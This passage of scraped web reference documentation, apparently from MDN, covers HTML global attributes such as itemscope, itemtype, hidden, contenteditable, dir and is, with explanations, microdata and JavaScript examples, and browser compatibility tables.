Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `data-*` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | See also -------- * All [global attributes](../global_attributes). * The [`HTMLElement.dataset`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/dataset) property that allows to access and modify these values. * [Using data attributes](https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto/Use_data_attributes)
programming_docs
html itemscope itemscope ========= `itemscope` is a boolean [global attribute](../global_attributes) that defines the scope of associated metadata. Specifying the `itemscope` attribute for an element creates a new item, which results in a number of name-value pairs that are associated with the element. A related attribute, [`itemtype`](itemtype), is used to specify the valid URL of a vocabulary (such as [schema.org](https://schema.org/)) that describes the item and its properties context. In each of the following examples, the vocabulary is from [schema.org](https://schema.org/). Every HTML element may have an `itemscope` attribute specified. An `itemscope` element that does not have an associated `itemtype` must have an associated `itemref`. **Note:** Find more about `itemtype` attributes at <https://schema.org/Thing> ### itemscope id attributes When you specify the `itemscope` attribute for an element, a new item is created. The item consists of a group of name-value pairs. For elements with an `itemscope` attribute and an `itemtype` attribute, you may also specify an [`id`](../global_attributes#id) attribute. You can use the `id` attribute to set a global identifier for the new item. A global identifier allows the item to relate to other items found on pages across the Web. Examples -------- ### Representing structured data for a movie The following example specifies the `itemtype` as "[http://schema.org/Movie](https://schema.org/Movie)", and specifies four related `itemprop` attributes. | | | | | --- | --- | --- | | itemscope | Itemtype | Movie | | itemprop | (itemprop name) | (itemprop value) | | itemprop | director | James Cameron | | itemprop | genre | Science Fiction | | itemprop | name | Avatar | | itemprop | https://youtu.be/0AY1XIkX7bY | Trailer | ``` <div itemscope itemtype="https://schema.org/Movie"> <h1 itemprop="name">Avatar</h1> <span>Director: <span itemprop="director">James Cameron</span> (born August 16, 1954)</span> <span itemprop="genre">Science fiction</span> <a href="https://youtu.be/0AY1XIkX7bY" itemprop="trailer">Trailer</a> </div> ``` ### Representing structured data for a recipe There are four `itemscope` attributes in the following example. Each `itemscope` attribute sets the scope of its corresponding `itemtype` attribute. The `itemtype`s, `Recipe`, `AggregateRating`, and `NutritionInformation` in the following example are part of the [schema.org](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/www.schema.org) structured data for a recipe, as specified by the first `itemtype`, `http://schema.org/Recipe`. | | | | | --- | --- | --- | | itemscope | itemtype | Recipe | | itemprop | name | Grandma's Holiday Apple Pie | | itemprop | image | https://c1.staticflickr.com/1/30/42759561\_8631e2f905\_n.jpg | | itemprop | datePublished | 2022-11-05 | | itemprop | description | This is my grandmother's apple pie recipe. I like to add a dash of nutmeg. | | itemprop | prepTime | PT30M | | itemprop | cookTime | PT1H | | itemprop | totalTime | PT1H30M | | itemprop | recipeYield | 1 9" pie (8 servings) | | itemprop | recipeIngredient | Thinly-sliced apples: 6 cups | | itemprop | recipeIngredient | White sugar: 3/4 cup | | itemprop | recipeInstructions | 1. Cut and peel apples 2. Mix sugar and cinnamon. Use additional sugar for tart apples . | | itemprop | author [Person] | | itemprop | name | Carol Smith | | itemscope | itemprop[itemtype] | aggregateRating [AggregateRating] | | itemprop | ratingValue | 4.0 | | itemprop | reviewCount | 35 | | itemscope | itemprop[itemtype] | nutrition [NutritionInformation] | | itemprop | servingSize | 1 medium slice | | itemprop | calories | 250 cal | | itemprop | fatContent | 12 g | **Note:** A handy tool for extracting microdata structures from HTML is Google's [Rich Results Testing Tool](https://search.google.com/test/rich-results). Try it on the HTML shown here. #### HTML ``` <div itemscope itemtype="https://schema.org/Recipe"> <h2 itemprop="name">Grandma's Holiday Apple Pie</h2> <img itemprop="image" src="https://c1.staticflickr.com/1/30/42759561\_8631e2f905\_n.jpg" width="50" height="50" /> <p> By <span itemprop="author" itemscope itemtype="https://schema.org/Person"> <span itemprop="name">Carol Smith</span> </span> </p> <p> Published: <time datetime="2022-11-05" itemprop="datePublished">November 5, 20022</time> </p> <span itemprop="description">This is my grandmother's apple pie recipe. I like to add a dash of nutmeg.</span> <br /> <span itemprop="aggregateRating" itemscope itemtype="https://schema.org/AggregateRating"> <span itemprop="ratingValue">4.0</span> stars based on <span itemprop="reviewCount">35</span> reviews </span> <br /> Prep time: <time datetime="PT30M" itemprop="prepTime">30 min</time> <br /> Cook time: <time datetime="PT1H" itemprop="cookTime">1 hour</time> <br /> Total time: <time datetime="PT1H30M" itemprop="totalTime">1 hour 30 min</time> <br /> Yield: <span itemprop="recipeYield">1 9" pie (8 servings)</span> <br /> <span itemprop="nutrition" itemscope itemtype="https://schema.org/NutritionInformation"> Serving size: <span itemprop="servingSize">1 medium slice</span><br /> Calories per serving: <span itemprop="calories">250 cal</span><br /> Fat per serving: <span itemprop="fatContent">12 g</span><br /> </span> <p> Ingredients:<br /> <span itemprop="recipeIngredient">Thinly-sliced apples: 6 cups<br /></span> <span itemprop="recipeIngredient">White sugar: 3/4 cup<br /></span> … </p> Directions: <br /> <div itemprop="recipeInstructions"> 1. Cut and peel apples<br /> 2. Mix sugar and cinnamon. Use additional sugar for tart apples. <br /> … </div> </div> ``` #### Result Specifications -------------- | Specification | | --- | | [HTML Standard # attr-itemscope](https://html.spec.whatwg.org/multipage/microdata.html#attr-itemscope) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `itemscope` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | See also -------- * [Other different global attributes](../global_attributes) * Other microdata related global attributes: + [`itemid`](itemid) + [`itemprop`](itemprop) + [`itemref`](itemref) + [`itemtype`](itemtype) html exportparts exportparts =========== The `exportparts` [global attribute](../global_attributes) allows to select and style elements existing in nested [shadow trees](https://developer.mozilla.org/en-US/docs/Glossary/Shadow_tree), by exporting their `part` names. The shadow tree is an isolated structure where identifiers, classes, and styles cannot be reached by selectors or queries belonging to a regular DOM. To apply a style to an element living in a shadow tree, by CSS rule created outside of it, [`part`](../global_attributes#part) global attribute has to be used. It has to be assigned to an element present in Shadow Tree, and its value should be some identifier. Rules present outside of the shadow tree, must use the [`::part`](https://developer.mozilla.org/en-US/docs/Web/CSS/::part) pseudo-element, containing the same identifier as the argument. The global attribute [`part`](../global_attributes#part) makes the element visible on just a single level of depth. When the shadow tree is nested, parts will be visible only to the parent of the shadow tree but not to its ancestor. Exporting parts further down is exactly what `exportparts` attribute is for. Attribute `exportparts` must be placed on a *shadow Host*, which is the element to which the *shadow tree* is attached. The value of the attribute should be a comma-separated list of part names present in the shadow tree and which should be made available via a DOM outside of the current structure. Specifications -------------- | Specification | | --- | | [CSS Shadow Parts # element-attrdef-html-global-exportparts](https://w3c.github.io/csswg-drafts/css-shadow-parts/#element-attrdef-html-global-exportparts) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `exportparts` | 73 | 79 | 72 | No | 60 | 13.1 | 73 | 73 | 79 | ? | 13.4 | 11.0 | See also -------- * All [global attributes](../global_attributes). html itemtype itemtype ======== The [global attribute](../global_attributes) `itemtype` specifies the URL of the vocabulary that will be used to define `itemprop`'s (item properties) in the data structure. [`itemscope`](itemscope) is used to set the scope of where in the data structure the vocabulary set by `itemtype` will be active. Google and other major search engines support the [schema.org](https://schema.org/) vocabulary for structured data. This vocabulary defines a standard set of type names and property names. For example, `MusicEvent` indicates a concert performance, with [`startDate`](https://schema.org/startDate) and [`location`](https://schema.org/location) properties specifying the concert's key details. In this case, [`MusicEvent`](https://schema.org/MusicEvent) would be the URL used by `itemtype`, with `startDate` and location as `itemprop`'s which [`MusicEvent`](https://schema.org/MusicEvent) defines. **Note:** More about `itemtype` attributes can be found at <https://schema.org/Thing> * The **itemtype** attribute must have a value that is an unordered set of unique tokens which are case-sensitive, each is a valid and absolute URL, and all defined to use the same vocabulary. The attribute's value must have at least one token. * The item types must all be types defined in applicable specifications (such as [schema.org](https://schema.org/)), and must all be defined to use the same vocabulary. * The itemtype attribute can only be specified on elements which have an itemscope attribute specified. * The itemid attribute can only be specified on elements which have both an itemscope attribute and an itemtype attribute specified. They must only be specified on elements with an itemscope attribute, whose itemtype attribute specifies a vocabulary not supporting global identifiers for items, as defined by that vocabulary's specification. * The exact meaning of a global identifier is determined by the vocabulary's specification. It is left to such specifications to define whether multiple items of the same global identifier (whether on the same page or different pages) are allowed to exist, and what processing rules for that vocabulary are, with respect to handling the case of multiple items with the same ID. Examples -------- ### Representing structured data for a product This example uses microdata attributes to represent structured data for a product, as follows: | | | | | --- | --- | --- | | itemscope | itemtype | Product (http://schema.org/Product) | | itemprop | name | Executive Anvil | | itemprop | image | https://pixabay.com/static/uploads/photo/2015/09/05/18/15/suitcase-924605\_960\_720.png | | itemprop | description | Sleeker than ACME's Classic Anvil, the Executive Anvil is perfect for the business traveler looking for something to drop from a height. | | itemprop | mpn | 925872 | | itemprop | brand [Thing] | | | itemprop | name | ACME | | itemscope | itemprop[itemtype] | aggregateRating[AggregateRating] | | | itemprop | ratingValue | 4.4 | | itemprop | reviewCount | 89 | | itemprop | offers [Offer] | http://schema.org/Offer | | itemprop | priceCurrency | USD | | itemprop | price | 119.99 | | itemprop | priceValidUntil | 2020-11-05 | | itemprop | itemCondition | http://schema.org/UsedCondition | | itemprop | availability | http://schema.org/InStock | | itemscope | itemprop[itemtype] | seller [Organization] | http://schema.org/Organization | | itemprop | name | Executive Objects | **Note:** A handy tool for extracting microdata structures from HTML is Google's [Structured Data Testing Tool](https://developers.google.com/search/docs/advanced/structured-data). Try it on the HTML shown here. #### HTML ``` <div itemscope itemtype="http://schema.org/Product"> <span itemprop="brand">ACME<br /></span> <span itemprop="name">Executive Anvil<br /></span> <img itemprop="image" src="https://pixabay.com/static/uploads/photo/2015/09/05/18/15/suitcase-924605\_960\_720.png" width="50" height="50" alt="Executive Anvil logo" /><br /> <span itemprop="description"> Sleeker than ACME's Classic Anvil, the Executive Anvil is perfect for the business traveler looking for something to drop from a height. <br /> </span> Product #: <span itemprop="mpn">925872<br /></span> <span itemprop="aggregateRating" itemscope itemtype="http://schema.org/AggregateRating"> Rating: <span itemprop="ratingValue">4.4</span> stars, based on <span itemprop="reviewCount">89 </span> reviews </span> <p> <span itemprop="offers" itemscope itemtype="http://schema.org/Offer"> Regular price: $179.99<br /> <meta itemprop="priceCurrency" content="USD" /> <span itemprop="price">Sale price: $119.99<br /></span> (Sale ends <time itemprop="priceValidUntil" datetime="2020-11-05"> 5 November!</time>)<br /> Available from: <span itemprop="seller" itemscope itemtype="http://schema.org/Organization"> <span itemprop="name">Executive Objects<br /></span> </span> Condition: <link itemprop="itemCondition" href="http://schema.org/UsedCondition" />Previously owned, in excellent condition<br /> <link itemprop="availability" href="http://schema.org/InStock" />In stock! Order now! </span> </p> </div> ``` #### Result Specifications -------------- | Specification | | --- | | [HTML Standard # attr-itemtype](https://html.spec.whatwg.org/multipage/microdata.html#attr-itemtype) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `itemtype` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | See also -------- * [Other different global attributes](../global_attributes) * Other microdata related global attributes: + [`itemid`](itemid) + [`itemprop`](itemprop) + [`itemref`](itemref) + [`itemscope`](itemscope) html hidden hidden ====== The `hidden` [global attribute](../global_attributes) is an [enumerated](https://developer.mozilla.org/en-US/docs/Glossary/Enumerated) attribute indicating that the browser should not render the contents of the element. For example, it can be used to hide elements of the page that can't be used until the login process has been completed. Try it ------ Description ----------- The `hidden` attribute is used to indicate that the content of an element should not be presented to the user. This attribute can take any one of the following values: * an empty string * the keyword `hidden` * the keyword `until-found` There are two states associated with the `hidden` attribute: the *hidden* state and the *hidden until found* state. * An empty string, or the keyword `hidden`, set the element to the *hidden* state. Additionally, invalid values set the element to the *hidden* state. * The keyword `until-found` sets the element to the *hidden until found* state. Thus, all the following set the element to the [*hidden*](#the_hidden_state) state: ``` <span hidden>I'm hidden</span> <span hidden="hidden">I'm also hidden</span> <span hidden="something else">I'm hidden too!</span> ``` The following sets the element to the [*hidden until found*](#the_hidden_until_found_state) state: ``` <span hidden="until-found">I'm hidden until found</span> ``` The `hidden` attribute must not be used to hide content just from one presentation. If something is marked hidden, it is hidden from all presentations, including, for instance, screen readers. Hidden elements shouldn't be linked from non-hidden elements. For example, it would be incorrect to use the `href` attribute to link to a section marked with the `hidden` attribute. If the content is not applicable or relevant, then there is no reason to link to it. It would be fine, however, to use the ARIA [`aria-describedby`](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-describedby) attribute to refer to descriptions that are themselves hidden. While hiding the descriptions implies that they are not useful on their own, they could be written in such a way that they are useful in the specific context of being referenced from the element that they describe. Similarly, a canvas element with the `hidden` attribute could be used by a scripted graphics engine as an off-screen buffer, and a form control could refer to a hidden form element using its form attribute. Elements that are descendants of a hidden element are still active, which means that script elements can still execute and form elements can still submit. ### The hidden state The *hidden* state indicates that the element is not currently relevant to the page, or that it is being used to declare content for reuse by other parts of the page and should not be directly presented to the user. The browser will not render elements that are in the *hidden* state. Web browsers may implement the *hidden* state using `display: none`, in which case the element will not participate in page layout. This also means that changing the value of the CSS [`display`](https://developer.mozilla.org/en-US/docs/Web/CSS/display) property on an element in the *hidden* state will overrides the state. For instance, elements styled `display: block` will be displayed despite the `hidden` attribute's presence. ### The hidden until found state In the *hidden until found* state, the element is hidden but its content will be accessible to the browser's "find in page" feature or to fragment navigation. When these features cause a scroll to an element in a *hidden until found* subtree, the browser will: * fire a [`beforematch`](https://developer.mozilla.org/en-US/docs/Web/API/Element/beforematch_event) event on the hidden element * remove the `hidden` attribute from the element * scroll to the element This enables a developer to collapse a section of content, but make it searchable and accessible via fragment navigation. Note that browsers typically implement *hidden until found* using [`content-visibility: hidden`](https://developer.mozilla.org/en-US/docs/Web/CSS/content-visibility). This means that unlike elements in the *hidden* state, elements in the *hidden until found* state will have generated boxes, meaning that: * the element will participate in page layout * margin, borders, padding, and background for the element will be rendered. Also, the element needs to be affected by [layout containment](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Containment) in order to be revealed. This means that if the element in the *hidden until found* state has a `display` value of `none`, `contents`, or `inline`, then the element will not be revealed by find in page or fragment navigation. Examples -------- ### Using until-found In this example we have: * Three [`<div>`](../element/div) elements. The first and the third are not hidden, while the second has `hidden="until-found"`and `id="until-found-box"` attributes. * A link whose target is the `"until-found-box"` fragment. The hidden until found element has a dotted red border and a gray background. We also have some JavaScript that listens for the `beforematch` event firing on the hidden until found element. The event handler changes the text content of the box. #### HTML ``` <a href="#until-found-box">Go to hidden content</a> <div>I'm not hidden</div> <div id="until-found-box" hidden="until-found">Hidden until found</div> <div>I'm not hidden</div> ``` #### CSS ``` div { height: 40px; width: 300px; border: 5px dashed black; margin: 1rem 0; padding: 1rem; font-size: 2rem; } div#until-found-box { color: red; border: 5px dotted red; background-color: lightgray; } ``` #### JavaScript ``` const untilFound = document.querySelector("#until-found-box"); untilFound.addEventListener( "beforematch", () => (untilFound.textContent = "I've been revealed!") ); ``` #### Result Note that although the content of the element is hidden, the element still has a generated box, occupying space in the layout and with background and borders rendered. Clicking the "Go to hidden content" button navigates to the hidden until found element. The `beforematch` event fires, the text content is updated, and the element content is displayed. To run the example again, click "Reset". Specifications -------------- | Specification | | --- | | [HTML Standard # the-hidden-attribute](https://html.spec.whatwg.org/multipage/interaction.html#the-hidden-attribute) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `hidden` | Yes | 12 | Yes | 11 | Yes | Yes | 4 | Yes | Yes | Yes | Yes | Yes | | `until-found_value` | 102 | 102 | No | No | No | No | 102 | 102 | No | 70 | No | 19.0 | See also -------- * [`HTMLElement.hidden`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/hidden) * All [global attributes](../global_attributes) * [`aria-hidden` attribute](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-hidden) * The [`beforematch](https://developer.mozilla.org/en-US/docs/Web/API/Element/beforematch_event) event
programming_docs
html draggable draggable ========= The **draggable** [global attribute](../global_attributes) is an [enumerated](https://developer.mozilla.org/en-US/docs/Glossary/Enumerated) attribute that indicates whether the element can be dragged, either with native browser behavior or the [HTML Drag and Drop API](https://developer.mozilla.org/en-US/docs/Web/API/HTML_Drag_and_Drop_API). The `draggable` attribute may be applied to elements that strictly fall under the [HTML namespace](https://developer.mozilla.org/en-US/docs/Glossary/Namespace), which means that it cannot be applied to [SVGs](https://developer.mozilla.org/en-US/docs/Web/SVG). For more information about what namespace declarations look like, and what they do, see [Namespace crash course](https://developer.mozilla.org/en-US/docs/Web/SVG/Namespaces_Crash_Course). `draggable` can have the following values: * `true`: the element can be dragged. * `false`: the element cannot be dragged. **Warning:** This attribute is *[enumerated](https://developer.mozilla.org/en-US/docs/Glossary/Enumerated)* and not *Boolean*. A value of `true` or `false` is mandatory, and shorthand like `<img draggable>` is forbidden. The correct usage is `<img draggable="false">`. If this attribute is not set, its default value is `auto`, which means drag behavior is the default browser behavior: only text selections, images, and links can be dragged. For other elements, the event [`ondragstart`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/dragstart_event) must be set for drag and drop to work, as shown in this [comprehensive example](https://developer.mozilla.org/en-US/docs/Web/API/HTML_Drag_and_Drop_API/Drag_operations). Specifications -------------- | Specification | | --- | | [HTML Standard # the-draggable-attribute](https://html.spec.whatwg.org/multipage/dnd.html#the-draggable-attribute) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `draggable` | Yes | 12 | 2 | Yes | 12 | Yes | Yes | Yes | 4 | Yes | Yes | Yes | See also -------- * All [global attributes](../global_attributes). html contextmenu contextmenu =========== **Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the [compatibility table](#browser_compatibility) at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time. **Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future. The `contextmenu` [global attribute](../global_attributes) is the [**id**](id) of a [`<menu>`](../element/menu) to use as the contextual menu for this element. A *context menu* is a menu that appears upon user interaction, such as a right-click. HTML now allows us to customize this menu. Here are some implementation examples, including nested menus. Example ------- ### HTML ``` <body contextmenu="share"> <menu type="context" id="share"> <menu label="share"> <menuitem label="Twitter" onclick="shareViaTwitter()"></menuitem> <menuitem label="Facebook" onclick="shareViaFacebook()"></menuitem> </menu> </menu> <ol> <li> Anywhere in the example you can share the page on Twitter and Facebook using the Share menu from your context menu. </li> <li contextmenu="changeFont" id="fontSizing"> On this specific list element, you can change the size of the text by using the "Increase/Decrease font" actions from your context menu </li> <menu type="context" id="changeFont"> <menuitem label="Increase Font" onclick="incFont()"></menuitem> <menuitem label="Decrease Font" onclick="decFont()"></menuitem> </menu> <li contextmenu="ChangeImage" id="changeImage"> On the image below, you can fire the "Change Image" action in your Context Menu.<br /> <img src="promobutton\_mdn5.png" contextmenu="ChangeImage" id="promoButton" alt="Better CSS Docs for a better web" /> <menu type="context" id="ChangeImage"> <menuitem label="Change Image" onclick="changeImage()"></menuitem> </menu> </li> </ol> </body> ``` ### JavaScript ``` function shareViaTwitter() { window.open( "https://twitter.com/intent/tweet?text=" + "Hurray! I am learning ContextMenu from MDN via Mozilla" ); } function shareViaFacebook() { window.open( "https://facebook.com/sharer/sharer.php?u=" + "https://developer.mozilla.org/en/HTML/Element/Using\_HTML\_context\_menus" ); } function incFont() { document.getElementById("fontSizing").style.fontSize = "larger"; } function decFont() { document.getElementById("fontSizing").style.fontSize = "smaller"; } function changeImage() { const index = Math.ceil(Math.random() \* 39 + 1); document.images[0].src = `${index}.png`; } ``` ### Result Specifications -------------- The [contextmenu attribute is obsolete](https://html.spec.whatwg.org/multipage/obsolete.html#attr-contextmenu) and will be removed from all browsers. Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `contextmenu` | No | No | 9-85 | No | No | No | No | No | 32-56 Support for the `contextmenu` attribute has been removed from Firefox for Android (See [bug 1424252](https://bugzil.la/1424252)). | No | No | No | See also -------- * All [global attributes](../global_attributes) * [`HTMLElement.contextMenu`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/contextMenu) html enterkeyhint enterkeyhint ============ The `enterkeyhint` [global attribute](../global_attributes) is an [enumerated](https://developer.mozilla.org/en-US/docs/Glossary/Enumerated) attribute defining what action label (or icon) to present for the enter key on virtual keyboards. Try it ------ Description ----------- [Form controls](https://developer.mozilla.org/en-US/docs/Learn/Forms) (such as [`<textarea>`](../element/textarea) or [`<input>`](../element/input) elements) or elements using [`contenteditable`](contenteditable) can specify an [`inputmode`](inputmode) attribute to control what kind of virtual keyboard will be used. To further improve the user's experience, the enter key can be customized specifically by providing an `enterkeyhint` attribute indicating how the enter key should be labeled (or which icon should be shown). The enter key usually represents what the user should do next; typical actions are: sending text, inserting a new line, or searching. If no `enterkeyhint` attribute is provided, the user agent might use contextual information from the [`inputmode`](inputmode), [`type`](../element/input#input_types), or [`pattern`](../element/input#pattern) attributes to display a suitable enter key label (or icon). ### Values The `enterkeyhint` attribute is an [enumerated](https://developer.mozilla.org/en-US/docs/Glossary/Enumerated) attribute and only accepts the following values: | Value | Description | Example label (depends on user agent and user language) | | --- | --- | --- | | `enterkeyhint="enter"` | Typically inserting a new line. | `↵` | | `enterkeyhint="done"` | Typically meaning there is nothing more to input and the input method editor (IME) will be closed. | `Done` | | `enterkeyhint="go"` | Typically meaning to take the user to the target of the text they typed. | `Open` | | `enterkeyhint="next"` | Typically taking the user to the next field that will accept text. | `Next` | | `enterkeyhint="previous"` | Typically taking the user to the previous field that will accept text. | `Previous` | | `enterkeyhint="search"` | Typically taking the user to the results of searching for the text they have typed. | `Search` | | `enterkeyhint="send"` | Typically delivering the text to its target. | `Send` | Specifications -------------- | Specification | | --- | | [HTML Standard # attr-enterkeyhint](https://html.spec.whatwg.org/multipage/interaction.html#attr-enterkeyhint) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `enterkeyhint` | 77 | 79 | 94 | No | 66 | 13.1 | 77 | 77 | 94 | 57 | 13.4 | 12.0 | See also -------- * [`HTMLElement.enterKeyHint`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/enterKeyHint) property reflecting this attribute * [`inputmode`](inputmode) global attribute * [`contenteditable`](contenteditable) global attribute * [`type`](../element/input#input_types) and [`pattern`](../element/input#pattern) attributes on [`<input>`](../element/input) elements html contenteditable contenteditable =============== The `contenteditable` [global attribute](../global_attributes) is an enumerated attribute indicating if the element should be editable by the user. If so, the browser modifies its widget to allow editing. Try it ------ The attribute must take one of the following values: * `true` or an *empty string*, which indicates that the element is editable. * `false`, which indicates that the element is not editable. If the attribute is given without a value, like `<label contenteditable>Example Label</label>`, its value is treated as an empty string. If this attribute is missing or its value is invalid, its value is *inherited* from its parent element: so the element is editable if its parent is editable. Note that although its allowed values include `true` and `false`, this attribute is an *[enumerated](https://developer.mozilla.org/en-US/docs/Glossary/Enumerated)* one and not a *Boolean* one. You can set the color used to draw the text insertion [caret](https://developer.mozilla.org/en-US/docs/Glossary/Caret) with the CSS [`caret-color`](https://developer.mozilla.org/en-US/docs/Web/CSS/caret-color) property. Elements that are made editable, and therefore interactive, by using the `contenteditable` attribute can be focused. They participate in sequential keyboard navigation. However, elements with the `contenteditable` attribute nested within other `contenteditable` elements are not added to the tabbing sequence by default. You can add the nested `contenteditable` elements to the keyboard navigation sequence by specifying the `tabindex` value ([`tabindex="0"`](tabindex)). Specifications -------------- | Specification | | --- | | [HTML Standard # attr-contenteditable](https://html.spec.whatwg.org/multipage/interaction.html#attr-contenteditable) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `contenteditable` | Yes | 12 | 3 | 5.5 | 9 | Yes | Yes | Yes | 4 | Yes | Yes | Yes | | `caret` | Yes | ≤79 | No | No | Yes | No | Yes | Yes | No | Yes | No | Yes | | `events` | Yes | ≤79 | No | No | Yes | No | Yes | Yes | No | Yes | No | Yes | | `plaintext-only` | Yes | ≤79 | No | No | Yes | Yes | Yes | Yes | No | Yes | Yes | Yes | | `typing` | Yes | ≤79 | No | No | Yes | No | Yes | Yes | No | Yes | No | Yes | See also -------- * All [global attributes](../global_attributes) * [`HTMLElement.contentEditable`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/contentEditable) and [`HTMLElement.isContentEditable`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/isContentEditable) * The CSS [`caret-color`](https://developer.mozilla.org/en-US/docs/Web/CSS/caret-color) property * [HTMLElement `input` event](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) html dir dir === The `dir` [global attribute](../global_attributes) is an [enumerated](https://developer.mozilla.org/en-US/docs/Glossary/Enumerated) attribute that indicates the directionality of the element's text. Try it ------ It can have the following values: * `ltr`, which means *left to right* and is to be used for languages that are written from the left to the right (like English); * `rtl`, which means *right to left* and is to be used for languages that are written from the right to the left (like Arabic); * `auto`, which lets the user agent decide. It uses a basic algorithm as it parses the characters inside the element until it finds a character with a strong directionality, then applies that directionality to the whole element. **Note:** This attribute is mandatory for the [`<bdo>`](../element/bdo) element where it has a different semantic meaning. * This attribute is *not* inherited by the [`<bdi>`](../element/bdi) element. If not set, its value is `auto`. * This attribute can be overridden by the CSS properties [`direction`](https://developer.mozilla.org/en-US/docs/Web/CSS/direction) and [`unicode-bidi`](https://developer.mozilla.org/en-US/docs/Web/CSS/unicode-bidi), if a CSS page is active and the element supports these properties. * As the directionality of the text is semantically related to its content and not to its presentation, it is recommended that web developers use this attribute instead of the related CSS properties when possible. That way, the text will display correctly even on a browser that doesn't support CSS or has the CSS deactivated. * The `auto` value should be used for data with an unknown directionality, like data coming from user input, eventually stored in a database. **Note:** Browsers might allow users to change the directionality of [`<input>`](../element/input) and [`<textarea>`](../element/textarea)s in order to assist with authoring content. Chrome and Safari provide a directionality option in the contextual menu of input fields while Internet Explorer and Edge use the key combinations `Ctrl` + `Left Shift` and `Ctrl` + `Right Shift`. Firefox uses `Ctrl`/`Cmd` + `Shift` + `X` but does NOT update the `dir` attribute value. Specifications -------------- | Specification | | --- | | [HTML Standard # the-dir-attribute](https://html.spec.whatwg.org/multipage/dom.html#the-dir-attribute) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `dir` | Yes | 79 | Yes | No | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | See also -------- * All [global attributes](../global_attributes). * [`HTMLElement.dir`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/dir) that reflects this attribute. html is is == The `is` [global attribute](../global_attributes) allows you to specify that a standard HTML element should behave like a defined custom built-in element (see [Using custom elements](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements) for more details). This attribute can only be used if the specified custom element name has been successfully [defined](https://developer.mozilla.org/en-US/docs/Web/API/CustomElementRegistry/define) in the current document, and extends the element type it is being applied to. Examples -------- The following code is taken from our [word-count-web-component](https://github.com/mdn/web-components-examples/tree/main/word-count-web-component) example ([see it live also](https://mdn.github.io/web-components-examples/word-count-web-component/)). ``` // Create a class for the element class WordCount extends HTMLParagraphElement { constructor() { // Always call super first in constructor super(); // Constructor contents omitted for brevity // … } } // Define the new element customElements.define("word-count", WordCount, { extends: "p" }); ``` ``` <p is="word-count"></p> ``` Specifications -------------- | Specification | | --- | | [HTML Standard # attr-is](https://html.spec.whatwg.org/multipage/custom-elements.html#attr-is) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `is` | 67 | 79 | 63 | No | 54 | No See [bug 182671](https://webkit.org/b/182671). | 67 | 67 | 63 | 48 | No See [bug 182671](https://webkit.org/b/182671). | 9.0 | See also -------- * All [global attributes](../global_attributes). html itemprop itemprop ======== The `itemprop` [global attribute](../global_attributes) is used to add properties to an item. Every HTML element can have an `itemprop` attribute specified, and an `itemprop` consists of a name-value pair. Each name-value pair is called a **property**, and a group of one or more properties forms an **item**. Property values are either a string or a URL and can be associated with a very wide range of elements including [`<audio>`](../element/audio), 